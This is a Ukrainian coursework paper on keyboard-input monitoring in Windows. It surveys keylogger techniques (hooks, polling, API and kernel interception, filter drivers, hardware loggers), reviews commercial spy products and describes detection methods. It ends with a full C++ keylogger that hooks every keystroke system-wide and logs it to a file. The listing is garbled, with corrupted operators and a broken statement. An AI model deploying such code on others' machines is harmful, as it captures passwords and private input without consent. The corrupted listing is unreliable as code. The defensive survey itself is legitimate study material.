Моніторинг вводу з клавіатури в середовищі ОС Windows
Алгоритм роботи шпигуна досить простий. Додаток викликає функцію бібліотеки user32.dll. Функція PeekMessage в user32. dll за своєю суттю є перехідником, а в кінцевому рахунку за допомогою SYSCALL в Windows XP або INT 2E в Windows NT і Windows 2000 буде проведений виклик функції ядра. Цей виклик буде перехоплений шпигуном (місце розташування перехоплювача залежить від методики перехоплення… Читати ще >
Моніторинг вводу з клавіатури в середовищі ОС Windows (реферат, курсова, диплом, контрольна)
КУРСОВА РОБОТА з дисципліни:
" Системне програмне забезпечення"
на тему:
" Моніторинг вводу з клавіатури в середовищі ОС Windows"
Зміст
Вступ
1. Характеристика предметної області
1.1 Клавіатурні шпигуни
1.2 Засоби для стеження вводу з клавіатури
1.3 Програми моніторинг вводу клавіатури
1.4 Захист від клавіатурних шпигунів
2. Програмна реалізація моніторингу вводу з клавіатури Висновки Список використаних джерел
Вступ
У великому спектрі загроз, відомих під назвою «шкідливий код», сьогодні виділяють декілька підмножин, подібних за своєю дією і збитку, що наноситься ними. Одне з них — шпигунське програмне забезпечення — об'єднує групу ПЗ, яке якимось чином використовує особисті дані користувача, отримані без його відома і згоди. До цієї ж підмножині відносять рекламне ПЗ, інструменти віддаленого доступу, програми-жарти, програми-шпигуни і т.д.
Особливу небезпеку становлять моніторингові програмні продукти і апаратні пристрої, які можуть бути приховано і несанкціоновано (як правило, дистанційно) встановлені без відома власника (адміністратора безпеки) автоматизованої системи або без відома власника конкретного персонального комп’ютера.
Санкціоновані ж моніторингові програмні продукти використовуються адміністратором (службою інформаційної безпеки підприємства або організації) для контролю безпеки локальної мережі. Вони дозволяють фіксувати дії користувачів і процеси, використання пасивних об'єктів, а також однозначно ідентифікувати користувачів і процеси, які причетні до певних подій, для того щоб запобігти порушення безпеки або забезпечити неминучість відповідальності за певні дії. Саме ця властивість (в залежності від ступеня її реалізації) дозволяє в тій чи іншій мірі контролювати дотримання співробітниками підприємства встановлених правил безпечної роботи на комп’ютерах і політики безпеки.
Застосування несанкціоновано встановлюваних моніторингових програм дозволяє зловмисникові:
* перехоплювати чужу інформацію;
* здійснювати економічний чи політичний шпигунство;
* отримувати несанкціонований доступ до систем «банк-клієнт»;
* отримувати несанкціонований доступ до систем криптографії користувача персонального комп’ютера — відкритим і закритим ключам, парольний фразу;
* отримувати несанкціонований доступ до авторизаційним даними кредитних карток і т.д.
Одна з найбільш небезпечних функцій всіх програм-шпигунів і апаратних пристроїв-кейлогерів — реєстрація натиснень клавіш, зроблених користувачем, з метою контролю комп’ютерної активності. Коли користувач набирає на клавіатурі пароль і дані своєї кредитної картки, можливо, в цей момент записується кожне натискання клавіші.
Крім цього, сучасні програми-шпигуни дозволяють захоплювати текст з вікон додатків і робити знімки (скріншоти) екрану і окремих вікон. Іншими словами, програма-шпигун може перехопити текст документа, навіть якщо користувач його не набирав з клавіатури, а просто відкрив і переглянув файл.
Завданням даної курсової роботи є розробка програмного продукту для моніторингу вводу даних з клавіатури в середовищі ОС Windows.
1. Характеристика предметної області
1.1 Клавіатурні шпигуни
Spyware — це термін, що визначає додатки, які записують інформацію про поведінку користувача в мережі Інтернет та повідомляють про це своїм творцям. Результатом їх дії може стати як спливаюча реклама, так і більш серйозні порушення в безпеці системи, включаючи крадіжку інформації, запис натиснутих клавіш, зміна параметрів з'єднання з глобальною мережею.
Клавіатурні шпигуни — це програми для скритого запису інформації про натиснені користувачем клавіші. У терміна «клавіатурний шпигун» існує ряд синонімів: Keyboard Logger, KeyLogger, кейлоггер; рідше зустрічаються терміни «снупер», «snoop», «snooper» (від англ. Snoop — буквально «людина, вічно сунуть ніс в чужі справи»).
Як правило, сучасні клавіатурні шпигуни не просто записують коди нажатих клавіш — вони як би прив’язують клавіатурний ввід до поточного вікна й елементу введення. Крім того, багато клавіатурних шпигунів відстежують список запущених додатків, вміють робити знімки екрану по заданим розкладом або подіями, шпигувати за вмістом буфера обміну і вирішувати ряд завдань, націлених на потайне стеження за користувачем. Записувана інформація зберігається на диску, і більшість сучасних клавіатурних шпигунів можуть формувати різні звіти, передавати їх по електронній пошті або по протоколах FTP і HTTP. Крім того, ряд сучасних клавіатурних шпигунів користується технологіями RootKit для маскування слідів своєї присутності в операційній системі.
Для системи клавіатурний шпигун, як правило, нестрашний, — а ось для користувача він надзвичайно небезпечний, оскільки з його допомогою можна перехопити паролі та іншу конфіденційну інформацію, що вводиться користувачем. На жаль, останнім часом відомі сотні різноманітних кейлоггерів, причому багато хто з них не розпізнаються антивірусами.
1.2 Засоби для стеження вводу з клавіатури
Стеження за клавіатурним введенням за допомогою пасток.
Дана методика є класичною для клавіатурних шпигунів, а суть її полягає в застосуванні механізму пасток (hook) операційної системи. Пастки дозволяють спостерігати за повідомленнями, які обробляються вікнами інших програм. Установка і видалення пасток виробляються за допомогою добре документованих функцій бібліотеки user32. dll (функція SetWindowsHookEx дозволяє встановити пастку, UnhookWindowsHookEx — зняти її). При установці пастки вказується тип повідомлень, для яких повинен викликатися обробник пастки. Зокрема, існує два спеціальних типи пасток: WH_KEYBOARD і WH_MOUSE — для реєстрації подій клавіатури і миші відповідно. Пастка може бути встановлена?? для заданого потоку і для всіх потоків системи, причому останнє дуже зручно для побудови клавіатурного шпигуна.
Код обробника подій пастки повинен бути розташований в DLL. Це вимога пов’язана з тим, що DLL з обробником пастки проектується системою в адресний простір всіх GUI1-процесів. Цікавою особливістю є те, що проектування DLL відбувається не в момент установки пастки, а при отриманні GUI-процесом першого повідомлення, що задовольняє параметрам пастки.
Методика пасток вельми проста і ефективна, але у неї є ряд недоліків. Одним з них можна вважати те, що DLL з пасткою проектується в адресний простір всіх GUI-процесів, що може застосовуватися для виявлення клавіатурного шпигуна. Крім того, реєстрація подій клавіатури можлива тільки для GUI-додатків.
Стеження за клавіатурним введенням за допомогою опитування клавіатури.
Дана методика заснована на періодичному опитуванні стану клавіатури. Для опитування стану клавіш у системі передбачена спеціальна функція GetKeyboardState, що повертає масив з 255 байт, в якому кожен байт містить стан певної клавіші на клавіатурі. Даний метод вже не вимагає впровадження DLL в GUI-процеси, і в результаті шпигун менш помітний.
Однак зміна статусу клавіш відбувається в момент зчитування потоком клавіатурних повідомлень з його черги, тому подібна методика працює тільки для стеження за GUI-додатками. Цього недоліку позбавлена?? функція GetAsyncKeyState, яка повертає стан клавіші на момент виклику функції.
Недоліком клавіатурних шпигунів такого типу є необхідність періодичного опитування стану клавіатури з досить високою швидкістю — не менше 10−20 опитувань в секунду.
Стеження за клавіатурним введенням за допомогою перехоплення функцій Windows API
Дана методика не отримала широкого розповсюдження, але тим не менш може з успіхом застосовуватися для побудови клавіатурних шпигунів. Методики перехоплення функцій API дуже схожа до RootKit. Різниця між RootKit і клавіатурним шпигуном в даному випадку невелика — шпигун перехоплює функції з метою моніторингу, а RootKit — з метою модифікації принципів роботи і результатів виклику.
Найпростішим способом може бути перехоплення функцій GetMessage, PeekMessage і TranslateMessage бібліотеки User32, що дозволить вести моніторинг всіх повідомлень, одержуваних GUI-додатками.
Апаратні клавіатурні шпигуни
Це мініатюрні вбудовані пристрої, розташовані між клавіатурою і комп’ютером. Через їх маленьких розмірів вони часто залишаються непоміченими тривалий час, проте вони вимагають фізичного доступу до обладнання. Ці пристрої можуть записувати сотні символів, введених з клавіатури, включаючи поштові та банківські реквізити.
Апаратні кейлоггери (keystroke recording device, hardware keylogger і пр.) являють собою мініатюрні пристрої, які можуть бути прикріплені між клавіатурою і комп’ютером або вбудовані в саму клавіатуру. Вони реєструють всі натиснення клавіш. Процес цей абсолютно непомітний для користувача. Такий пристрій може бути таємно прикріплено до ПК ким завгодно — колегою, прибиральницею, відвідувачем і т.д. Коли апаратний кейлоггер прикріплюється, абсолютно не має значення, в якому стані знаходиться комп’ютер — ввімкненому або вимкненому.
Потім зняти пристрій можна в будь-який зручний момент, а його вміст (записані натиснення клавіш) скачати, коли це буде зручно. Обсяги внутрішньої енергонезалежної пам’яті даних пристроїв дозволяють записувати до 10 мільйонів натиснень клавіш. Прикріпити даний пристрій до комп’ютера користувача дуже легко. Зовнішній вигляд цих пристроїв настільки різноманітний, що навіть фахівець не в змозі іноді визначити їх наявність при проведенні інформаційного аудиту.
Особливо відомі на ринку апаратні кейлоггери KeyKatcher, KeyGhost, MicroGuard, Hardware KeyLogger, виробниками яких є компанії Alien Concepts, Inc., Amecisco, KeyGhost, Ltd., MicroSpy, Ltd.
Рис. 1.1. Використання апаратного кейлоггера
Клавіатурний шпигун на базі драйвера.
Даний метод ще більш ефективний, ніж описані вище. Можливі як мінімум два варіанти реалізації цього методу — написання і установка в систему свого драйвера клавіатури замість штатного або установка драйвера-фільтра. Застосування драйвера-фільтра, на мій погляд, є найбільш коректною методикою.
Драйвер-фільтр
Робота кейлоггерів даного типу заснована на установці драйвера, підключається до драйверу клавіатури в якості фільтра. Приклад реалізації фільтра клавіатури наведено в DDK, і даний шпигун є одним з найпростіших в плані як реалізації, так і виявлення.
Клавіатурний шпигун цього типу може бути побудований за однією з двох схем:
• драйвер-фільтр в поєднанні з керуючим додатком, який виконує установку, завантаження та налаштування драйвера. Драйвер передає інформацію про натискати клавішу керуючому додатку, яке виробляє обробку та протоколювання отриманих даних;
• повністю автономний драйвер самостійно веде запис подій. В даному випадку потрібно тільки зробити первинну установку драйвера в систему, після чого встановило драйвер додаток може самознищитися. Можливе рішення і без додатка-інсталятора — в цьому випадку драйвер встановлюється за допомогою INF-файлу.
У момент завантаження драйвер повинен підключитися до стеку клавіатурного драйвера за допомогою функцій IoCreateDevice і IoAttachDevice. У більшості відомих реалізацій фільтр підключається до стека пристрої «Device KeyboardClass0», що є драйвером класу і реалізує загальну функціональність для клавіатур різних типів.
Підміна драйвера клавіатури. Даний метод в дійсності заснований на підміні драйвера Kbdclass або одного з низькорівневих драйверів клавіатури драйвером власної розробки. Складність реалізації зазначеного методу полягає в тому, що заздалегідь невідомий тип застосовуваної користувачем клавіатури, а тому підміну драйвера порівняно просто виявити. Внаслідок цього подібний метод практично не зустрічається.
Клавіатурний шпигун на базі руткіт-технології в UserMode
Принцип дії такого клавіатурного шпигуна заснований на перехопленні ряду функцій USER32. DLL для моніторингу їх викликів. Дані шкідливі програми поки не отримали особливого поширення, але це тільки питання часу. Небезпека застосування руткіт-технології в клавіатурному шпигуна пояснюється тим, що, по-перше, багато антікейлоггери не розраховані на пошук шпигунів такого типу і не здатні їм протидіяти, а по-друге, антіруткіти часто не перевіряють перехоплення функцій бібліотеки user32.dll.
Принцип роботи шпигуна досить простий: за допомогою будь-якої з відомих руткіт-технологій виробляється перехоплення однієї або декількох функцій, що дозволяють отримати контроль над вводиться з клавіатури інформацією. Найпростішим є перехоплення функцій GetMessage і PeekMessage.
Подібний клавіатурний шпигун дуже небезпечний, тому що:
• він не виявляється стандартними методиками пошуку клавіатурних шпигунів;
• можливе впровадження перехоплювача за певними умовами, внаслідок чого він впроваджується не в усі GUI-процеси, а в строго певні (наприклад, в процеси браузера або в додаток типу WebMoney);
• проти нього не діють екранні клавіатури і інші засоби боротьби з клавіатурними шпигунами;
• крім перехоплення функцій PeekMessage і GetMessage, можуть бути перехоплені функції копіювання інформації при роботі з буфером обміну (OpenClipboard, CloseClipboard, GetClipboardData, SetClipboardData), опитування стану клавіатури (GetKeyState, GetAsyncKeyState, GetKeyboardState) та інші функції user32. dll, що посилює небезпеку шпигуна, а перехоплення функцій типу CreateWindow дозволяє відстежувати створення вікон.
Клавіатурний шпигун на базі руткіт-технології в KernelMode
Принцип дії шпигуна даного типу аналогічний UserMode, але в даному випадку проводиться перехоплення однієї або декількох функцій win32k.sys. Як і у випадку з UserMode, найбільший інтерес для перехоплювача представляє функція PeekMessage і її аналоги, оскільки це дозволяє проводити моніторинг і модифікацію абсолютно всіх одержуваних програмою повідомлень без установки пастки або фільтра.
Алгоритм роботи шпигуна досить простий. Додаток викликає функцію бібліотеки user32.dll. Функція PeekMessage в user32. dll за своєю суттю є перехідником, а в кінцевому рахунку за допомогою SYSCALL в Windows XP або INT 2E в Windows NT і Windows 2000 буде проведений виклик функції ядра. Цей виклик буде перехоплений шпигуном (місце розташування перехоплювача залежить від методики перехоплення). Перехоплювач, в свою чергу, викличе реальну функцію і проаналізує повернуті їй результати. У разі успішного витягу з черги повідомлення потрібного шпигунові типу він справить його аналіз і запам’ятовує результати. Робота шпигуна абсолютно непомітна для всіх додатків, і виявити його можна тільки спеціальними програмами, що виробляють пошук перехоплень і модифікації машинного коду модулів ядра.
1.3 Програми моніторинг вводу клавіатури
Існує багато програм для моніторингу вводу даних з клавіатури. Проте використання більшості з них є платним. Розглянемо найбільш популярні такі програми.
Advanced Invisible Keylogger — потужне програмне забезпечення скритого шпигунства. Advanced Invisible Keylogger виконується тихо на найнижчому рівні Windows, фіксуючи кожне натискання клавіші, включаючи імена користувача і паролі підключення windows. Advanced Invisible Keylogger може також знімати фото тексту активного вікна, тексту, надрукованого в будь-якому популярному миттєвому месенджері, включаючи службу America On Line, YAHOO, ICQ, MSN і AIM. Вся діяльність, здійснена на робочому столі буде приховано зареєстрована Advanced Invisible Keylogger! Отримані повідомлення, таємно посилаються на вашу адресу електронної пошти в будь-який час! Advanced Invisible Keylogger є настільки таємним і ховається так добре, що навіть комп’ютерний технік з багаторічним досвідом не зможе виявити його! Вартість програми становить $ 39.99.
Elite Keylogger (Рис. 1.2.) — відстежує всі натискання клавіш і їх комбінацій в будь-яких додатках (Word, Excel, Блокнот), при пошуку в Інтернеті, листування в чатах, уведені паролі і т.д., залишаючись при цьому абсолютно непомітним. Вартість: 1 комп’ютер — 1699 р., 2 комп’ютера — 2599р., 5 комп’ютерів — 4899 р., 25 комп’ютерів — 9699 р., без обмеження — 18 999 р.
Keyboard Tracer — проста і легка в роботі програма, для запису і моніторингу натискань клавіш на клавіатурі на комп’ютері. Програма дозволяє з легкістю відстежувати діяльність інших людей на вашому комп’ютері під час вашої відсутності. Також Keyboard Tracer може працювати в невидимому, прихованому режимі.
Рис. 1.2. Elite Keylogger
Keyboard Monitor 2.0 — Програма представляє із себе невеликий гаджет для декількох операційних систем Windows Vista / 7. Ви зможете якісно проаналізувати повну статистику усіх дій вашої клавіатури, а саме кількість набраних символів за певний вказане час, дізнатися детально про швидкість набору символів з?? вашої клавіатури і ще ряд безлічі корисних можливостей. При використанні даного гаджета ви зможете зберігати всі проаналізовані результати у вибраний каталог, якщо проводити збереження настройок за замовчуванням то він автоматично збережеться в файлі Path:% APPDATA% File: gadgetname_Settings.ini.
1.4 Захист від клавіатурних шпигунів
клавіатурний шпигун стеження введення
Для виявлення і видалення моніторингових програмних продуктів, які можуть бути встановлені без відома користувача ПК, в даний час використовуються програми, які за допомогою сигнатурного аналізу забезпечують більш або менш ефективний захист тільки проти відомих програм-шпигунів. Для ефективної роботи програм цього типу необхідно отримати зразок програми-шпигуна, виділити з неї сигнатуру і включити її в свою базу. При оновленні сигнатурної бази користувачі персонального комп’ютера отримують можливість боротися зданим варіантом програми-шпигуна. За таким принципом працюють багато відомих фірм — виробники антивірусного програмного забезпечення.
Всі антивіруси в тій чи іншій мірі можуть знаходити клавіатурні шпигуни, однак клавіатурний шпигун не є вірусом, тож користі від антивіруса мало.
Утиліти, що реалізують механізм сигнатурного пошуку і евристичні механізми пошуку. Прикладом може служити утиліта AVZ, що поєднує сигнатурний сканер і систему виявлення клавіатурних шпигунів на базі пасток.
Спеціалізовані утиліти і програми, призначені для виявлення клавіатурних шпигунів і блокування їх роботи. Подібні програми найбільш ефективні для виявлення і блокування клавіатурних шпигунів, оскільки, як правило, можуть блокувати практично всі різновиди клавіатурних шпигунів.
Ніякі програмні продукти не в змозі визначити наявність встановлених апаратних пристроїв, які забезпечують перехоплення натискань клавіатури користувачем персонального комп’ютера.
Сьогодні існує тільки два методи протидії апаратним кейлоггер при роботі на стандартному персональному комп’ютері:
• фізичний пошук і усунення апаратного кейлоггера;
• використання віртуальних клавіатур для введення особливо важливої інформації (логіни, паролі, коди доступу, PIN-коди кредитних карт).
Методики пошуку клавіатурних шпигунів:
• Пошук по сигнатурах. Даний метод не відрізняється від типових методик пошуку вірусів. Сигнатурний пошук дозволяє однозначно ідентифікувати клавіатурні шпигуни, при правильному виборі сигнатур ймовірність помилки практично дорівнює нулю. Однак сигнатурний сканер зможе виявляти заздалегідь відомі і описані в його базі даних об'єкти.
• Евристичні алгоритми. З назви зрозуміло, що це методики пошуку клавіатурного шпигуна по його характерним особливостям. Евристичний пошук носить імовірнісний характер. Як показала практика, цей метод найбільш ефективний для пошуку клавіатурних шпигунів найбільш поширеного типу — тих, що засновані на пастках. Однак подібні методики дають багато помилкових спрацьовувань. Мої дослідження показали, що існують сотні безпечних програм, які не є клавіатурними шпигунами, але встановлюють пастки для стеження за клавіатурним введенням і мишею. Найбільш поширені приклади — програми Punto Switcher, словник Lingvo, програмне забезпечення для мультимедійних клавіатур і мишей.
• Моніторинг функцій Windows API, що використовуються клавіатурними шпигунами. Дана методика заснована на перехопленні ряду функцій, застосовуваних клавіатурним шпигуном, — зокрема функцій SetWindowsHookEx, UnhookWindowsHookEx, GetAsyncKeyState, GetKeyboardState. Виклик даних функцій яким додатком дозволяє вчасно підняти тривогу, проте проблеми численних помилкових спрацьовувань будуть тими ж, що і при застосуванні методу 2.
• Відстеження використовуваних системою драйверів, процесів і сервісів. Це універсальна методика, вживана не тільки проти клавіатурних шпигунів. У найпростішому випадку можна застосовувати програми типу Kaspersky Inspector або Adinf, які відстежують появу в системі нових файлів.
2. Програмна реалізація моніторинга вводу з клавіатури
Програма написана на мові програмування С++ із застосуванням Win API. Хук клавіш реалізований за допомогою SetWindowsHookEx (WH_KEYBOARD_LL, …) WH_KEYBOARD_LL — встановлює підключену процедуру, яка контролює низькорівневі події введення з клавіатури. Створюється виконуваний файл без бібліотека dll.
Недолік цього способу перехоплення в його нестабільної роботи, або взагалі відмови працювати в Windows 7. Перехоплення клавіш без використання dll (WH_KEYBOARD_LL) викликає у сімки нерозуміння.
Синтаксис структури PKBDLLHOOKSTRUCT:
{
DWORD vkCode; // встановлює код віртуальної клавіші. Код повинен бути значенням в діапазоні 1 — 254.
DWORD scanCode; // встановлює апаратний код опитування клавіатури (скан-код) клавіші.
DWORD flags; // встановлює прапорець додаткової клавіші, прапорець події вводу, контекстний код і прапорець перехідного стану
DWORD time; // встановлює позначку часу для цього повідомлення
ULONG_PTR dwExtraInfo; // встановлює додаткову інформацію, пов’язану з повідомленням.
}
Функція GetKeyState витягує дані про стан заданої віртуальної клавіші. Стан визначає, чи є клавіша натиснутою, не натиснутою або перемикання.
Функція GetKeyNameText витягує рядок, який представляє назву клавіші.
int GetKeyNameText (
LONG lParam, / / другий параметр повідомлення клавіатури
LPTSTR lpString, / / адреса буфера з ім'ям клавіші
int nSize / / максимальна довжина рядка з ім'ям клавіші
);
lParam — визначає другий параметр повідомлення клавіатури (типу WM_KEYDOWN) для обробки. Функція інтерпретує наступні частини lParam (Біт-Призначення):
— 16−23 — скан-код.
— 24 — Прапорець додаткової клавіші. Дає відмітна ознака для деяких клавіш розширеної клавіатури.
— 25 — Біт «Байдужий стан». Прикладна програма, яка викликає цю функцію встановлює цей біт, щоб вказати, що функція не повинна розрізняти, наприклад, між лівими і правими клавішами CTRL і SHIFT.
Для збереження інформації використовуємо лог. Лог-файл це такий файл, в який записується інформація про виконання програми.
Лістинг програми:
#include «windows.h»
#include «fstream»
#include «iostream»
#include «algorithm»
#include «string»
using namespace std;
string myKey;
BOOL isCaps ();
char logName[] = «keys.txt» ;
MSG message;
HHOOK keyboardHook;
char keyNameBuff[16];
PKBDLLHOOKSTRUCT p;
unsigned int sc;
void writeToLog (string s)
{
ofstream log (logName, ios: app);
log << s;
log.close ();
}
BOOL isCaps ()
{
if ((GetKeyState (VK_CAPITAL) &0×0001)≠0 ||
((GetKeyState (VK_SHIFT) &0×8000)≠0)) {
return 1;
} else {
return 0;
}
}
LRESULT CALLBACK hookProc (int nCode,
WPARAM wParam, LPARAM lParam)
{
if (wParam == WM_KEYDOWN)
{
p = (PKBDLLHOOKSTRUCT) (lParam);
sc = MapVirtualKey (p->vkCode, 0);
sc <<= 16;
if (!(p->vkCode <= 32))
= 0×1 << 24;
GetKeyNameTextA (sc, keyNameBuff, 16);
myKey = keyNameBuff;
if (myKey == «Space») {
writeToLog (««);
}
else if (myKey == «Right Alt») {
writeToLog («[R ALT]»);
}
else if (myKey == «Enter») {
writeToLog («[ENTER]»);
}
else if (myKey == «Left Alt») {
writeToLog («[L ALT]»);
}
else if (myKey == «Tab») {
writeToLog («[TAB]»);
}
else if (myKey == «Backspace») {
writeToLog («[BS]»);
}
else if (myKey == «Caps Lock») {
writeToLog («[CAPS]»);
}
else if (myKey == «Delete») {
writeToLog («[DEL]»);
}
else if (myKey == «Right Shift») {
writeToLog («[R SHIFT]»);
}
else if (myKey == «Shift») {
writeToLog («[L SHIFT]»);
}
else if (myKey == «Ctrl») {
writeToLog («[L CTRL]»);
}
else if (myKey == «Right Ctrl») {
writeToLog («[R CTRL]»);
}
else {
if (isCaps () == 1) {
writeToLog (myKey);
} else {
std:transform (myKey.begin (), myKey. end (),
myKey.begin (), :tolower);
writeToLog (myKey);
}
}
}
return CallNextHookEx (NULL, nCode, wParam, lParam);
}
void msgLoop ()
{
while (GetMessage (&message, NULL, 0,0))
{
TranslateMessage (&message);
DispatchMessage (&message);
}
}
int WINAPI WinMain (HINSTANCE hInstance,
HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL,
hookProc, hInstance, 0);
msgLoop ();
UnhookWindowsHookEx (keyboardHook);
return 0;
}
Виконання програми:
Рис. 2.1. Результат виконання програми
Висновки
У зв’язку із збільшеним в останні роки числом spyware-додатків, спостерігалося зростання кількості web-сайтів і зловмисних користувачів, які отримають перевагу установкою клавіатурних шпигунів і крадіжкою особистої інформації.
Потрібно знати про подібну небезпеку і вміти визначати її. Першим кроком у боротьбі з spyware-додатками буде використання альтернативного браузера, наприклад FireFox, Safari, Opera і ін. Якщо це з якихось причин не можна здійснити, то слід вжити заходів щодо постійної профілактиці вашої системи, по виявленню і видаленню клавіатурних шпигунів.
Клавіатурний шпигун не є вірусом, але тим не менш представляє більшу загрозу для користувачів, оскільки дозволяє зловмисникові стежити за роботою користувача і може застосовуватися для викрадення конфіденційної інформації, в тому числі паролів користувача. Небезпека клавіатурного шпигуна може істотно зрости при його поєднанні з RootKit-технологією, яка дозволяє замаскувати присутність клавіатурного шпигуна. Ще більш небезпечною є троянська або backdoor-програма, що містить клавіатурний шпигун, — його наявність істотно розширює функції троянської програми і її небезпеку для користувача.
Практика показує, що розробники шкідливих програм (вірусів, троянських програм, шпигунського ПЗ) все частіше починають використовувати RootKit-технології, що істотно ускладнює виявлення і видалення створених ними шкідливих програм. Найчастіше застосовуються методики перехоплення функцій в режимі користувача, але останнім часом з’явилися вельми ефективні реалізації із застосуванням драйверів.
Відомо, що сьогодні існує універсальна і надійна методика, що дозволяє обійти апаратний клавіатурний шпигун, — це використання екранної клавіатури та інших способів введення інформації без застосування клавіатури. Слід зазначити, що більшість сучасних антикейлоггеров спеціально для цих цілей містять власну вбудовану екранну клавіатуру.
Пошук апаратних кейлоггерів неодмінно слід включити в посадові обов’язки співробітників служби інформаційної безпеки. При цьому, природно, необхідно мати на увазі, що вірогідність установки апаратного кейлоггера прямо пропорційна цінності інформації, що вводиться на робочому місці.
Проте не завжди програми для моніторингу вводу даних клавіатури використовується в шкідливих цілях. Дані програми можна використовувати для контролю роботи працівників, створення резервних копій введених даних і навіть для збереження статистики про роботу з клавіатурою.
Результатом даної роботи є програмний продукт для збереження моніторингу вводу клавіатурою. Програма зберігає інформацію про нажаті клавіші у додатково створеному файлі.
Список використаних джерел
1. Системное программное обеспечение / А. В. Гордеев, А. Ю. Молчанов. — СПб.: Питер, 2001. — 736 с
2. Пратт Т., Зелковиц М. Языки программирования: реализация и разработка. — СПб.: Питер, 2001
3. Д. Кнут Искусство программирования для ЭВМ. Сортировка и поиск. М.: Мир, 1978. 843 с.
4. Щеглов А. Ю. Защита компьютерной информации от несанкционированного доступа. — Санкт-Петербург: Наука и техника, 2004. — 384 с.
5. Стаття «Охота за шпионом, или АнтиКейлоггер» [Електронний ресурс] - режим доступу: http://www.sources.ru/magazine/0805/antikeylogger.html —, вільний.
6. Статті [Електронний ресурс] - режим доступу: http://articles.org.ru/ -, вільний.